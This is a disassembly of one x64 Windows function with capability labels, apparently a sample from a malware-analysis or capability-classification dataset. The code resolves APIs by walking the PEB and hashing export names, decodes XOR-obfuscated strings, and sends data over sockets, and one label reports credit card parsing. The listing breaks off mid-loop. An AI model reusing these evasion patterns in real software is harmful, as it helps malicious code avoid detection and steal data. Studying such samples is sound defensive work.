Function at 0x140003030
Capabilities:
Access peb ldr_data
Authenticate hmac
Encode data using xor
Get kernel32 base address
Get number of processors
Get process filename
Hash data using fnv
Parse credit card information
Resolve function by parsing pe exports

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x4278]
mov eax, 0x4378
call fcn.14008c6a0
sub rsp, rax
movaps xmmword [rsp + 0x4360], xmm6
xor r13d, r13d
movsd xmm0, qword [str.ZW__e_n_r]
movsd qword [rsp + 0x28], xmm0
movzx ecx, word [0x14009fb20]
mov word [rsp + 0x30], cx
movzx eax, byte [0x14009fb22]
mov byte [rsp + 0x28], WSAGetLastError
xor byte [rsp + 0x29], 0x38
xor byte [rsp + 0x2a], 0x39
xor byte [rsp + 0x2b], 0x3a
xor byte [rsp + 0x2c], 0x3b
xor byte [rsp + 0x2d], 0x3c
xor byte [rsp + 0x2e], 0x3d
xor byte [rsp + 0x2f], 0x3e
xor cl, 0x3f
mov byte [rsp + 0x30], cl
xor byte [rsp + 0x31], 0x40
xor al, 0x41
mov byte [rsp + 0x32], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140003146
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140003146
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x6a4e01ab
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140003141
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140003120
cmp r8d, 0x768f6f52
je 0x14000314b
test r9d, r9d
jne 0x140003100
mov rax, qword [rax]
jmp 0x1400030d0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rsp + 0x28]
call rdx
mov r12, 0xffffffffffffffff
movzx ebx, byte [rbp + 0x42c0]
movzx edi, byte [rbp + 0x42c0]
movzx esi, byte [rbp + 0x42c0]
mov ecx, dword [reloc.WS2_32.dll_accept]
nop dword [rax + rax]
mov eax, dword [str.TTJ:]
mov dword [rbp + 0x42d8], eax
cmp byte [0x1400a0d53], 0
je 0x140003273
cmp ecx, 2
jl 0x140003236
movdqa xmm3, xmmword [0x1400aae20]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400aaea0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400aaea0]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1400aae50]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400aae70]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400aae80]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp + 0x42d8], xmm2
jmp 0x140003273
lea r9, [rbp + 0x42d8]
mov r8d, r13d
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140003240
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r15d, dword [rcx + r10 + 0x88]
add r15, r10
cmp r15, r10
je 0x140003306
mov r9d, dword [r15 + 0x18]
test r9d, r9d
je 0x140003306
mov r14d, dword [r15 + 0x20]
nop word [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + r14]
add rdx, r10
mov r8d, 0xf15114c7
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140003301
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400032e0
cmp r8d, 0x86af6846
je 0x14000330b
test r9d, r9d
jne 0x1400032c0
mov rax, qword [rax]
jmp 0x140003290
mov ecx, dword [r15 + 0x1c]
add rcx, r10
mov eax, dword [r15 + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x42d8]
call rdx
movsd xmm0, qword [str.ZW__e_n_r]
movsd qword [rsp + 0x38], xmm0
movzx ecx, word [0x14009fb20]
mov word [rsp + 0x40], cx
movzx eax, byte [0x14009fb22]
mov byte [rsp + 0x38], WSAGetLastError
xor byte [rsp + 0x39], 0x38
xor byte [rsp + 0x3a], 0x39
xor byte [rsp + 0x3b], 0x3a
xor byte [rsp + 0x3c], 0x3b
xor byte [rsp + 0x3d], 0x3c
xor byte [rsp + 0x3e], 0x3d
xor byte [rsp + 0x3f], 0x3e
xor cl, 0x3f
mov byte [rsp + 0x40], cl
xor byte [rsp + 0x41], 0x40
xor al, 0x41
mov byte [rsp + 0x42], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r15d, dword [rcx + r10 + 0x88]
add r15, r10
cmp r15, r10
je 0x140003416
mov r9d, dword [r15 + 0x18]
test r9d, r9d
je 0x140003416
mov r14d, dword [r15 + 0x20]
nop word [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + r14]
add rdx, r10
mov r8d, 0xda556dc0
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140003411
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400033f0
cmp r8d, 0x595e90c1
je 0x14000341b
test r9d, r9d
jne 0x1400033d0
mov rax, qword [rax]
jmp 0x1400033a0
mov ecx, dword [r15 + 0x1c]
add rcx, r10
mov eax, dword [r15 + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rsp + 0x38]
call rdx
movzx eax, word [0x1400a0aa0]
mov word [rbp + 0x42c8], ax
cmp byte [0x1400a0aa1], 0
je 0x140003460
mov byte [rbp + 0x42c8], 0xa
xor byte [rbp + 0x42c9], 0x38
movzx edx, dil
lea rcx, [rbp + 0x240]
call fcn.140022770
nop
lea rax, [rbp + 0x42c8]
mov r8, r12
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140003480
lea rdx, [rbp + 0x42c8]
lea rcx, [rbp + 0x240]
call fcn.140022790
nop
mov edx, reloc.WS2_32.dll_sendto
lea rcx, [rbp + 0x240]
call fcn.140002150
nop
lea rcx, [rbp + 0x240]
call fcn.140001e90
lea rdx, [0x14009e388]
lea rcx, [rbp - 0x78]
call fcn.140022270
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140022330
nop
lea rcx, [rbp - 0x78]
call fcn.140021980
movups xmm0, xmmword [str.rVM_I]
movups xmmword [rbp + 0xa0], xmm0
movzx eax, word [0x1400a9cd8]
mov word [rbp + 0xb0], ax
mov r14d, dword [reloc.WS2_32.dll_accept]
cmp byte [0x1400a9cd9], 0
je 0x1400036a3
mov r8d, r13d
cmp r14d, 2
jl 0x14000365f
movdqa xmm5, xmmword [0x1400aae20]
movdqa xmm4, xmmword [0x1400aaea0]
movdqa xmm6, xmmword [0x1400aae50]
movdqa xmm0, xmmword [0x1400aae80]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rbp + 0xa4]
mov edx, dword [rbp - 0x60]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400aae70]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400aae70]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140003552
cmp r8d, 0x12
jge 0x1400036a3
movsxd rax, r8d
lea r9, [rbp + 0xa0]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x140003670
movzx edx, bl
lea rcx, [rbp + 0x260]
call fcn.140022770
nop
lea rax, [rbp + 0xa0]
mov r8, r12
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400036c0
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x260]
call fcn.140022790
nop
mov edx, reloc.WS2_32.dll_sendto
lea rcx, [rbp + 0x260]
call fcn.140002150
nop
lea rcx, [rbp + 0x260]
call fcn.140001e90
lea rcx, [0x1400bc750]
call fcn.140036250
lea rdx, [0x1400bb720]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.1400223e0
lea rdx, [0x1400bb720]
lea rcx, [rbp + 0x280]
call fcn.140021cb0
mov rdx, rax
lea rcx, [0x1400bc750]
call fcn.140037840
lea rdx, str._n___
cmp byte [0x1400bc968], 0
jne 0x140003a80
lea rcx, [rbp - 0x50]
call fcn.140022270
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140022330
nop
lea rcx, [rbp - 0x50]
call fcn.140021980
lea rdx, [0x14009e398]
lea rcx, [rbp - 0x40]
call fcn.1400225f0
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140022330
nop
lea rcx, [rbp - 0x40]
call fcn.140021980
lea rdx, [0x14009e39c]
lea rcx, [rbp - 0x30]
call fcn.140022270
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140022330
nop
lea rcx, [rbp - 0x30]
call fcn.140021980
movups xmm0, xmmword [str.VO_WUY]
movups xmmword [rbp + 0x70], xmm0
movzx eax, byte [0x1400a9bd8]
mov byte [rbp + 0x80], al
mov r8d, r13d
cmp r14d, 2
jl 0x14000392d
movdqa xmm5, xmmword [0x1400aae20]
movdqa xmm4, xmmword [0x1400aaea0]
movdqa xmm6, xmmword [0x1400aae50]
movdqa xmm0, xmmword [0x1400aae80]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rbp + 0x74]
mov edx, dword [rbp - 0x60]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400aae70]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400aae70]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140003820
cmp r8d, 0x11
jge 0x140003973
movsxd rax, r8d
lea r9, [rbp + 0x70]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x140003940
movzx edx, sil
lea rcx, [rbp + 0x2a0]
call fcn.140022770
nop
lea rax, [rbp + 0x70]
mov r8, r12
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140003990
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x2a0]
call fcn.140022790
nop
mov edx, reloc.WS2_32.dll_sendto
lea rcx, [rbp + 0x2a0]
call fcn.140002150
nop
lea rcx, [rbp + 0x2a0]
call fcn.140001e90
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r15d, dword [rcx + r10 + 0x88]
add r15, r10
cmp r15, r10
je 0x140003a56
mov r9d, dword [r15 + 0x18]
test r9d, r9d
je 0x140003a56
mov r14d, dword [r15 + 0x20]
nop word [rax + rax]
dec r9d
lea rcx, [r14 + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x35b2f673
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140003a51
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140003a30
cmp r8d, 0xd9ad9036
je 0x140003a5b
test r9d, r9d
jne 0x140003a10
mov rax, qword [rax]
jmp 0x1400039e0
mov ecx, dword [r15 + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [r15 + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov ecx, 0x5dc
call rax
jmp 0x140003185
lea rcx, [rbp - 0x20]
call fcn.140022270
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140022330
nop
lea rcx, [rbp - 0x20]
call fcn.140021980
lea rdx, [0x14009e398]
lea rcx, [rbp - 0x10]
call fcn.1400225f0
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140022330
nop
lea rcx, [rbp - 0x10]
call fcn.140021980
lea rdx, [0x14009e39c]
lea rcx, [rbp]
call fcn.140022270
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140022330
nop
lea rcx, [rbp]
call fcn.140021980
movsd xmm0, qword [str.aYUS_]
movsd qword [rsp + 0x78], xmm0
mov eax, dword [0x1400aa578]
mov dword [rbp - 0x80], eax
movzx eax, word [0x1400aa57c]
mov word [rbp - 0x7c], ax
cmp byte [0x1400aa57d], 0
je 0x140003c83
mov r8d, r13d
cmp r14d, 2
jl 0x140003c3d
movdqa xmm4, xmmword [0x1400aaea0]
movdqa xmm2, xmmword [0x1400aae20]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400aae50]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400aae70]
packuswb xmm2, xmm2
mov eax, dword [0x1400aae80]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.aYUS_]
xorps xmm2, xmm0
movd dword [rsp + 0x78], xmm2
movdqa xmm3, xmmword [0x1400aae30]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400aae50]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400aae70]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x7c]
xorps xmm2, xmm1
movd dword [rsp + 0x7c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x78]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140003c50
movzx edx, byte [rbp + 0x42c0]
lea rcx, [rbp + 0x2c0]
call fcn.140022770
nop
lea rax, [rsp + 0x78]
mov r8, r12
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140003ca0
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x2c0]
call fcn.140022790
nop
mov edx, reloc.WS2_32.dll_sendto
lea rcx, [rbp + 0x2c0]
call fcn.140002150
nop
lea rcx, [rbp + 0x2c0]
call fcn.140001e90
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140003d66
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140003d66
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x48c8daab
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140003d61
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140003d40
cmp r8d, 0xc5a40f2e
je 0x140003d6b
test r9d, r9d
jne 0x140003d20
mov rax, qword [rax]
jmp 0x140003cf0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x5dc
call rdx
mov eax, dword [str.TTJ:]
mov dword [rsp + 0x20], eax
cmp byte [0x1400a0d53], 0
je 0x140003e73
cmp r14d, 2
jl 0x140003e2c
movdqa xmm3, xmmword [0x1400aae20]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400aaea0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400aaea0]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1400aae50]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400aae70]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400aae80]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x20], xmm2
jmp 0x140003e73
lea r9, [rsp + 0x20]
mov r8d, r13d
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140003e40
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140003f06
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140003f06
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x4bc6a0cd
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140003f01
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140003ee0
cmp r8d, 0x53198564
je 0x140003f0b
test r9d, r9d
jne 0x140003ec0
mov rax, qword [rax]
jmp 0x140003e90
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rsp + 0x20]
call rdx
movsd xmm0, qword [str.ZW__e_n_r]
movsd qword [rsp + 0x48], xmm0
movzx ecx, word [0x14009fb20]
mov word [rsp + 0x50], cx
movzx eax, byte [0x14009fb22]
mov byte [rsp + 0x48], WSAGetLastError
xor byte [rsp + 0x49], 0x38
xor byte [rsp + 0x4a], 0x39
xor byte [rsp + 0x4b], 0x3a
xor byte [rsp + 0x4c], 0x3b
xor byte [rsp + 0x4d], 0x3c
xor byte [rsp + 0x4e], 0x3d
xor byte [rsp + 0x4f], 0x3e
xor cl, 0x3f
mov byte [rsp + 0x50], cl
xor byte [rsp + 0x51], 0x40
xor al, 0x41
mov byte [rsp + 0x52], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140004016
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140004016
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x274f8ed5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140004011
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140003ff0
cmp r8d, 0x588c5fac
je 0x14000401b
test r9d, r9d
jne 0x140003fd0
mov rax, qword [rax]
jmp 0x140003fa0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rsp + 0x48]
call rdx
lea rdx, str._n_n___
lea rcx, [rbp + 0x10]
call fcn.140022270
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140022330
nop
lea rcx, [rbp + 0x10]
call fcn.140021980
lea rdx, [0x14009e398]
lea rcx, [rbp + 0x20]
call fcn.1400225f0
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140022330
nop
lea rcx, [rbp + 0x20]
call fcn.140021980
lea rdx, [0x14009e39c]
lea rcx, [rbp + 0x30]
call fcn.140022270
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140022330
nop
lea rcx, [rbp + 0x30]
call fcn.140021980
movups xmm0, xmmword [str.MMR]
movups xmmword [rbp + 0x120], xmm0
movsd xmm0, qword [0x1400a09a8]
movsd qword [rbp + 0x130], xmm0
movzx eax, word [0x1400a09b0]
mov word [rbp + 0x138], ax
cmp byte [0x1400a09b1], 0
je 0x140004283
mov r8d, r13d
cmp r14d, 2
jl 0x14000423d
movdqa xmm5, xmmword [0x1400aae20]
movdqa xmm4, xmmword [0x1400aaea0]
movdqa xmm6, xmmword [0x1400aae50]
movdqa xmm0, xmmword [0x1400aae80]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rbp + 0x124]
mov edx, dword [rbp - 0x60]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400aae70]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400aae70]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140004130
cmp r8d, 0x1a
jge 0x140004283
movsxd rax, r8d
lea r9, [rbp + 0x120]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
